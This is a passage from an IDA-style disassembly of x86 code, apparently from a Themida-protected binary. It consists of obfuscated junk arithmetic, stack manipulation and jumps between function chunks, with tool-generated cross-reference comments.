		jmp	loc_5565A5
; END OF FUNCTION CHUNK	FOR sub_553D17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554359:				; CODE XREF: sub_556A70-55EFj
		pop	ebp
		add	edx, eax
		jmp	loc_555097
; ---------------------------------------------------------------------------


loc_554361:				; CODE XREF: sub_556A70-36CCj
		mov	[esp-14h+arg_10], ecx
		mov	ch, dl
		mov	[ebx], ch
		push	[esp-14h+arg_10]
		pop	ecx
		add	esp, 4
		pop	ebx
		jmp	loc_553D9F
; ---------------------------------------------------------------------------


loc_554375:				; CODE XREF: sub_556A70-2391j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-20h+arg_1C]
		pop	esp
		pop	edx
		xor	edx, 3CE5140Eh
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55438D:				; CODE XREF: sub_556A70-42E6j
		push	53D1h
		mov	[esp+2+var_4+2], edx
		push	esi
		add	[esp+6+var_8+2], 206F41C5h
		pop	edx
		push	edi
		push	69695164h
		pop	edi
		push	ecx
		mov	ecx, 2E8E19A8h
		shl	ecx, 3
		xor	ecx, 6E383F80h
		and	ecx, 1D6507EAh
		not	ecx
		jmp	loc_5584CE
; ---------------------------------------------------------------------------


loc_5543C1:				; CODE XREF: sub_556A70+3282j
		sub	edx, 75B15AA8h
		add	edx, edi
		add	edx, 75B15AA8h
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_557121
; ---------------------------------------------------------------------------


loc_5543DC:				; CODE XREF: sub_556A70+3BC3j
		add	esi, 4
		xchg	esi, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_550F2B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_5543EB:				; CODE XREF: sub_552B74+41Dj
		xchg	esi, [esp+4+var_4]
		jmp	loc_553B05
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5543F3:				; CODE XREF: sub_556A70+746j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ah+var_C+2]
		pop	esp
		xchg	edx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	ax, word ptr [esp+6+var_8+2]
		sub	esp, 4
		jmp	loc_556D6D
; ---------------------------------------------------------------------------


loc_554417:				; CODE XREF: sub_556A70+2CB4j
		push	[esp+0Ah+var_C+2]
		jmp	loc_553F3A
; ---------------------------------------------------------------------------


loc_55441F:				; CODE XREF: sub_556A70-50E9j
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], edx
		mov	edx, ebx
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		mov	eax, esi
		push	[esp-10h+arg_C]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, esp
		push	esi
		push	3681630h
		pop	esi
		push	ebp
		push	eax
		mov	eax, 1C9A23C4h
		mov	ebp, 2D877A67h
		xor	ebp, eax
		pop	eax
		jmp	loc_5514D2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554459:				; CODE XREF: Themida_:00552CEDj
		add	ecx, ebx
		add	ecx, 1CDF1C16h
		jmp	loc_559A8D
; ---------------------------------------------------------------------------


loc_554466:				; CODE XREF: Themida_:005512DCj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_558EBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554472:				; CODE XREF: sub_556A70-41FBj
		pop	ecx
		jmp	loc_550FAC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_554478:				; CODE XREF: sub_5566B9+15j
		mov	esi, ecx
		mov	eax, esi
		push	[esp+0Ch+var_C]
		pop	esi
		jmp	loc_558EE4
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554485:				; CODE XREF: sub_556A70-B71j
		mov	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		pop	ebp
		xor	[esp-18h+arg_18], esi
		pop	esi
		push	[esp-1Ch+arg_18]
		push	[esp-18h+arg_14]
		pop	eax
		add	esp, 4
		add	esp, 4
		xor	eax, 4D6D204Dh
		push	edi
		mov	edi, 60FB53A1h
		push	56BAh
		mov	[esp-18h+arg_14], esi
		mov	esi, 604C53B1h
		push	edx
		mov	edx, 4CB37305h
		shl	edx, 2
		jmp	loc_5546E4
; ---------------------------------------------------------------------------


loc_5544C7:				; CODE XREF: sub_556A70-24D2j
		mov	dh, 16h
		mov	al, dh
		pop	dx
		add	al, 0A0h
		add	bl, 12h
		add	bl, al
		jmp	loc_556D9A
; ---------------------------------------------------------------------------


loc_5544D9:				; CODE XREF: sub_556A70+1E76j
		add	esp, 4
		or	eax, eax
		jz	loc_5580E2
		push	dword ptr [edi+28h]
		add	[esp-16h+arg_10+2], 4DBD2EA6h
		jmp	loc_551638
; ---------------------------------------------------------------------------


loc_5544F6:				; CODE XREF: sub_556A70-56A3j
		pop	eax
		xchg	ecx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		mov	word ptr [esp-1Ch+arg_18], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55450D:				; CODE XREF: Themida_:00553855j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_559DDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_55451A:				; CODE XREF: sub_552634+4437j
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
		lodsd
		push	4406h
		mov	[esp], ecx
		mov	ecx, 5E835EDEh
		jmp	loc_555952
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_554532:				; CODE XREF: sub_55515F+10j
		sub	bl, 0E3h
		push	ebx
		mov	bh, 0D7h
		add	al, bh
		pop	ebx
		add	al, bl
		sub	al, 0D7h
		mov	bx, [esp+2+var_2]
		push	ecx
		mov	ecx, esp
		push	ebx
		push	edx
		push	2494A33h
		pop	edx
		inc	edx
		push	4231h
		mov	[esp+12h+var_12], esi
		mov	esi, 36803078h
		xor	edx, esi
		pop	esi
		mov	ebx, edx
		pop	edx
		sub	ebx, 0E681CB0h
		jmp	loc_556451
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------


loc_55456D:				; CODE XREF: Themida_:00554FFAj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55457C:				; CODE XREF: sub_556A70-407Dj
		or	bh, 17h
		or	bh, 11h
		shl	bh, 3
		add	bh, 8Bh
		xor	bh, 82h
		add	dl, bh
		pop	ebx
		add	dl, 16h
		sub	bl, dl
		pop	edx
		add	bl, al
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		push	dx
		jmp	loc_5544C7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5545A3:				; CODE XREF: Themida_:00552642j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5530E3
; ---------------------------------------------------------------------------


loc_5545B1:				; CODE XREF: Themida_:00552926j
		xor	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5545C7:				; CODE XREF: sub_556A70+3A97j
		mov	ch, dl
		jmp	loc_551D67
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5545CE:				; CODE XREF: Themida_:005514CDj
		push	edx
		jmp	loc_55115E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5545D4:				; CODE XREF: sub_556A70+13EEj
		pop	esp
		push	ebx
		push	1Ch
		pop	ebx
		jmp	loc_559EB6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_5545E1:				; CODE XREF: sub_55AA5F-9EE1j
		pop	edi
		jmp	loc_553CE3
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_5545E7:				; CODE XREF: sub_55A748-1D39j
		add	esp, 4
		sub	al, bh
		push	dword ptr [esp+0]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55C1F6
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5545FE:				; CODE XREF: sub_556A70-3A93j
		mov	eax, esp
		jmp	loc_55527B
; ---------------------------------------------------------------------------


loc_554605:				; CODE XREF: sub_556A70-3C9Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ecx
		push	edi
		mov	edi, 5DA85F0Ah
		mov	ecx, edi
		jmp	loc_55A29E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554625:				; CODE XREF: Themida_:005540F4j
		push	edx
		jmp	loc_55880A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5521AC


loc_55462B:				; CODE XREF: sub_5521AC+Bj
		dec	bh
		shr	bh, 4
		sub	bh, 2Fh
		jmp	loc_555378
; END OF FUNCTION CHUNK	FOR sub_5521AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554638:				; CODE XREF: sub_556A70-5770j
		sub	dh, 0D3h
		xor	al, dh
		jmp	loc_554D8C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554642:				; CODE XREF: Themida_:00554E22j
		push	4162h
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55C210
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554659:				; CODE XREF: sub_556A70-199Ej
		shr	esi, 1
		add	esi, 590E0FD8h
		neg	esi
		push	eax
		mov	eax, 362C73EDh
		jmp	loc_55AD9B
; ---------------------------------------------------------------------------


loc_55466E:				; CODE XREF: sub_556A70-2DABj
		add	eax, 4
		jmp	loc_55C384
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554676:				; CODE XREF: Themida_:0055571Aj
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55467E:				; CODE XREF: sub_556A70+4C6j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_552E2A
; ---------------------------------------------------------------------------


loc_55468C:				; CODE XREF: sub_556A70-545Bj
		and	eax, edx
		jmp	loc_553DE5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554693:				; CODE XREF: Themida_:0055998Ej
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_556960
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5546A8:				; CODE XREF: sub_556A70+792j
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp-8+arg_4]
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		push	edx
		mov	edx, 49605C71h
		shl	edx, 6
		shl	edx, 2
		jmp	loc_552A04
; ---------------------------------------------------------------------------


loc_5546CB:				; CODE XREF: sub_556A70+1366j
		mov	esi, [esp+0]
		push	586Fh
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_554375
; ---------------------------------------------------------------------------


loc_5546E4:				; CODE XREF: sub_556A70-25AEj
		and	edx, 579E799Dh
		push	eax
		jmp	loc_559398
; ---------------------------------------------------------------------------


loc_5546F0:				; CODE XREF: sub_556A70-528Ej
		pop	dword ptr [esp+0]
		pop	esp
		push	edx
		jmp	loc_55269D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B403


loc_5546FA:				; CODE XREF: sub_55B403-AFj
		pop	edi
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		xchg	ebp, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		push	ecx
		push	ebx
		push	eax
		mov	ah, dl
		mov	bl, ah
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	eax
		jmp	loc_55AC37
; END OF FUNCTION CHUNK	FOR sub_55B403
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2CDBh
		mov	[esp], edx
		jmp	loc_554916
; ---------------------------------------------------------------------------


loc_55472E:				; CODE XREF: Themida_:00552BC0j
		pop	edi
		add	eax, 1159079Bh
		add	eax, ebx
		sub	eax, 1159079Bh
		sub	eax, 178B2F8Dh
		push	ebp
		mov	ebp, 6043637Eh
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	7CD5h
		mov	[esp], ebp
		push	edx
		mov	edx, 3D1D0DDCh
		mov	ebp, 2986B245h
		xor	ebp, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 34392136h
		neg	ebp
		dec	ebp
		dec	ebp
		jmp	loc_555CC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554778:				; CODE XREF: sub_556A70-32A8j
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_55557A
; ---------------------------------------------------------------------------


loc_554789:				; CODE XREF: sub_556A70-2C6Cj
		mov	[esp-14h+arg_10], ecx
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554791:				; CODE XREF: Themida_:0055927Cj
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_550A46

; =============== S U B	R O U T	I N E =======================================



sub_5547A1	proc near		; CODE XREF: sub_5565AD-321Dj

; FUNCTION CHUNK AT 00551641 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005530A6 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 75F84806h
		dec	ebx
		add	ebx, 1D7B5D19h
		neg	ebx
		add	ebx, 9373A522h
		add	esi, ebx
		jmp	loc_551641
sub_5547A1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5547BD:				; CODE XREF: sub_556A70-FBAj
		pop	ebp


loc_5547BE:				; CODE XREF: sub_556A70+675j
		push	2483h
		mov	[esp-14h+arg_10], edx
		jmp	sub_55C746
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	edx
		jmp	loc_552A96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5547D8:				; CODE XREF: sub_556A70+449Aj
		add	ebp, 36DC7DD0h
		dec	ebp
		neg	ebp
		inc	ebp
		sub	ebp, 0AC92CC63h
		and	edi, ebp
		pop	ebp
		sub	edi, 10021Ch
		add	edx, edi
		pop	edi
		add	edx, 4
		push	edx
		push	[esp-18h+arg_18]
		mov	edx, [esp-14h+arg_10]
		push	1C98h
		mov	[esp-10h+arg_C], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-10h+arg_C]
		pop	esp
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		movzx	ecx, al
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	3B82h
		jmp	loc_55CC83
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_554832:				; CODE XREF: sub_5566B9+3ED0j
		push	dword ptr [edi+1Ch]
		push	[esp+8+var_8]
		jmp	loc_55CA07
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55483D:				; CODE XREF: sub_556A70+984j
		and	ch, 42h
		and	ch, 0B5h
		inc	ch
		jmp	loc_555D7D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55484A:				; CODE XREF: Themida_:00554BCCj
		mov	ebp, 4
		sub	ecx, 2CE37E60h
		add	ecx, ebp
		add	ecx, 2CE37E60h
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55486D:				; CODE XREF: Themida_:00555F5Aj
		shl	esi, 2
		jmp	loc_552364
; ---------------------------------------------------------------------------


loc_554875:				; CODE XREF: Themida_:00553BD9j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6DB3560Fh
		mov	eax, 47DC6B33h
		not	eax
		dec	eax
		shl	eax, 1
		jmp	loc_557286
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	eax
		push	edi
		push	78084D5Dh
		jmp	loc_552E70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5548AE:				; CODE XREF: sub_556A70+BA8j
		pop	dword ptr [edx+38h]
		pop	esi
		jmp	sub_55BDF1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_5548B7:				; CODE XREF: sub_551E74-768j
		push	edi
		mov	edi, 1F7E2703h
		sub	ebx, 537929D8h
		jmp	loc_55A8D8
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------


loc_5548C8:				; CODE XREF: Themida_:00559C3Ej
		sub	edx, 0FFFFFFFFh
		shl	edx, 6
		jmp	loc_552905
; ---------------------------------------------------------------------------


loc_5548D6:				; CODE XREF: Themida_:0055C2A7j
		xchg	eax, [esp]
		jmp	loc_556BB2
; ---------------------------------------------------------------------------


loc_5548DE:				; CODE XREF: Themida_:005541E6j
		mov	esi, 599C79DCh
		jmp	loc_558997
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5548E8:				; CODE XREF: sub_556A70-2E02j
		push	dword ptr [edi+eax*4]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5548F0:				; CODE XREF: Themida_:0055C1D6j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	6B09h
		jmp	loc_55B89E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555903


loc_554905:				; CODE XREF: sub_555903-3FE7j
		add	esi, 4
		jmp	loc_551FF8
; END OF FUNCTION CHUNK	FOR sub_555903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554910:				; CODE XREF: sub_556A70-2B35j
		push	edx
		jmp	loc_558399
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554916:				; CODE XREF: Themida_:00554729j
		push	esp
		pop	edx
		push	3502h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	7F096D9Ah
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 7
		add	ecx, 1E335C8Ch
		not	ecx
		sub	ecx, 9B83D24h
		shl	ecx, 3
		add	ecx, 0DEE55B96h
		mov	edi, ecx
		pop	ecx
		jmp	loc_559B7D
; ---------------------------------------------------------------------------


loc_554956:				; CODE XREF: Themida_:00557E35j
		mov	esi, 0F7A4B04h
		or	esi, 4960737Ch
		add	esi, 2FE567B3h
		add	esi, 80A01CD3h
		mov	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 386A0DC7h
		add	esi, ebp
		pop	ebp
		jmp	loc_5527BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55497E:				; CODE XREF: sub_5566B9+3CA8j
		mov	[esp+10h+var_10], ecx
		push	eax
		pop	ecx
		pop	eax
		push	edx
		mov	edx, 1A4E4Eh
		jmp	loc_558A95
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_55498F:				; CODE XREF: Themida_:00555968j
		shl	ebp, 7
		xor	ebp, 70F718FEh
		dec	ebp
		jmp	loc_551C92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_55499E:				; CODE XREF: sub_55AE6E+1E47j
		sub	al, bh
		pop	ebx
		jmp	loc_55984A
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5549A6:				; CODE XREF: sub_556A70+4F8j
		push	esp
		mov	ebp, [esp-18h+arg_14]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], ebp
		xor	ebp, [esp-1Ch+arg_18]
		pop	esp
		jmp	loc_55124E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5549C8:				; CODE XREF: Themida_:00559F4Dj
		sub	ebp, 4
		jmp	loc_550A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5549D3:				; CODE XREF: sub_556A70+33DBj
		xchg	eax, [esp-20h+arg_1C]
		pop	esp
		jmp	loc_557DB2
; ---------------------------------------------------------------------------


loc_5549DC:				; CODE XREF: sub_556A70-291Bj
		add	esi, 2
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		jmp	loc_555A36
; ---------------------------------------------------------------------------


loc_5549ED:				; CODE XREF: sub_556A70+FE5j
		sub	ebp, 6FE35373h
		add	ebp, ecx
		add	ebp, 6FE35373h
		sub	ebp, 778947F4h
		jmp	loc_55B82B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554A06:				; CODE XREF: Themida_:00552716j
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55576D
; ---------------------------------------------------------------------------
		push	0
		jmp	loc_554BA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554A1F:				; CODE XREF: sub_556A70+62j
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_55B991
; ---------------------------------------------------------------------------


loc_554A27:				; CODE XREF: sub_556A70+33BFj
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		mov	eax, [esp-0Ch+arg_8]
		push	3D80h
		mov	[esp-8+arg_4], edi
		mov	edi, esp
		jmp	loc_550EEF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554A3F:				; CODE XREF: Themida_:0055C47Fj
		pop	ebx
		jmp	loc_55A5D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558AE7


loc_554A45:				; CODE XREF: sub_558AE7+4471j
		pop	ebx
		add	[esp+0Ch+var_8], 3258691Ah
		add	[esp+0Ch+var_8], eax
		sub	[esp+0Ch+var_8], 3258691Ah
		pop	eax
		push	[esp+8+var_8]
		pop	ebx
		jmp	loc_55CA8B
; END OF FUNCTION CHUNK	FOR sub_558AE7
; ---------------------------------------------------------------------------


loc_554A64:				; CODE XREF: Themida_:00558E7Ej
		mov	ebx, [esp]
		add	esp, 4
		shr	dh, 3
		shr	dh, 5
		inc	dh
		shr	dh, 5
		push	ecx
		mov	cl, 0Ch
		or	cl, 0A9h
		add	cl, 0A4h
		add	cl, 0C4h
		sub	cl, 0C3h
		xor	dh, cl
		mov	ecx, [esp]
		jmp	loc_5583AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554A8E:				; CODE XREF: sub_556A70+E2j
		push	ecx
		jmp	loc_556C87
; ---------------------------------------------------------------------------


loc_554A94:				; CODE XREF: sub_556A70+35Cj
		push	ecx
		mov	ecx, 367F2BDDh
		or	ecx, 2AB471DEh
		or	ecx, 4CC22EAAh
		inc	ecx
		and	ecx, 1C9E5EC8h
		jmp	loc_5599B6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554AB2:				; CODE XREF: Themida_:00551ADCj
		push	esp
		pop	edx
		push	ecx
		jmp	loc_55694B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554ABA:				; CODE XREF: sub_556A70-464Ej
		pop	[esp-18h+arg_14]
		mov	esp, [esp-1Ch+arg_18]
		inc	[esp-1Ch+arg_18]
		pushf
		jmp	loc_554F71
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555903


loc_554AC9:				; CODE XREF: sub_555903-38F7j
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], esp
		push	esi
		push	4
		pop	esi
		push	eax
		mov	eax, 4D334869h
		sub	[esp+4+arg_0], eax
		pop	eax
		add	[esp+arg_0], esi
		jmp	sub_558287
; END OF FUNCTION CHUNK	FOR sub_555903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554AEB:				; CODE XREF: sub_556A70-178Ej
		not	dl
		sub	dl, 0FFh
		push	ax
		jmp	loc_552BF8
; ---------------------------------------------------------------------------


loc_554AF7:				; CODE XREF: sub_556A70-492Bj
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, 3DB64A84h
		add	edi, edx
		push	[esp+4+var_4]
		pop	edx
		jmp	loc_559098
; ---------------------------------------------------------------------------


loc_554B0C:				; CODE XREF: sub_556A70+10B9j
		pop	esi
		or	edi, edx
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_55B6F4
; ---------------------------------------------------------------------------


loc_554B1F:				; CODE XREF: sub_556A70+26F0j
		mov	ebx, 79770D94h
		xor	edx, ebx
		pop	ebx
		sub	edx, 61A5A396h
		and	esi, edx
		pop	edx
		push	ebp
		push	eax
		mov	eax, 43850C72h
		shl	eax, 8
		push	esi
		mov	esi, 37B604AAh
		dec	esi
		and	esi, 5EEE3361h
		sub	esi, 6E68DE2Ch
		xor	eax, esi
		pop	esi
		jmp	loc_55A517
; ---------------------------------------------------------------------------


loc_554B55:				; CODE XREF: sub_556A70+5E1Bj
		pop	edx
		or	ebx, 178D5DDFh
		inc	ebx
		push	edx
		mov	edx, 7ECA3DB8h
		sub	edx, 1784092Bh
		and	edx, 53585EEDh
		sub	edx, 0DEC800BFh
		sub	ebx, edx
		pop	edx
		or	ebx, 1A104E64h
		push	edx
		mov	edx, 604C4536h
		add	ebx, edx
		pop	edx
		sub	edi, ebx
		pop	ebx
		mov	ebx, 0B74EAE83h
		jmp	loc_55874B
; ---------------------------------------------------------------------------


loc_554B94:				; CODE XREF: sub_556A70+4FB8j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_55C9FC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554BA7:				; CODE XREF: Themida_:00554A1Aj
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_551AC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554BB1:				; CODE XREF: sub_556A70+2C46j
		mov	ebp, [esp-4+arg_0]
		push	esi
		jmp	loc_55B211
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_554BBA	proc near		; CODE XREF: sub_556A70+31C8j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0055231F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552447 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00552826 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A766 SIZE 0000000B BYTES

		push	ebp
		mov	ecx, [esp+0]
		jmp	loc_552447
sub_554BBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_554BC3:				; CODE XREF: Themida_:0055B7C9j
		push	ecx
		jmp	loc_552D23
; ---------------------------------------------------------------------------


loc_554BC9:				; CODE XREF: Themida_:00559E74j
		mov	[esp], ebp
		jmp	loc_55484A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_554BD1:				; CODE XREF: sub_5584F8+2E83j
		not	ebp
		jmp	loc_550C1A
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_554BD8:				; CODE XREF: Themida_:00553933j
		push	5B9Fh
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_553B3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554BE7:				; CODE XREF: sub_556A70+F8Cj
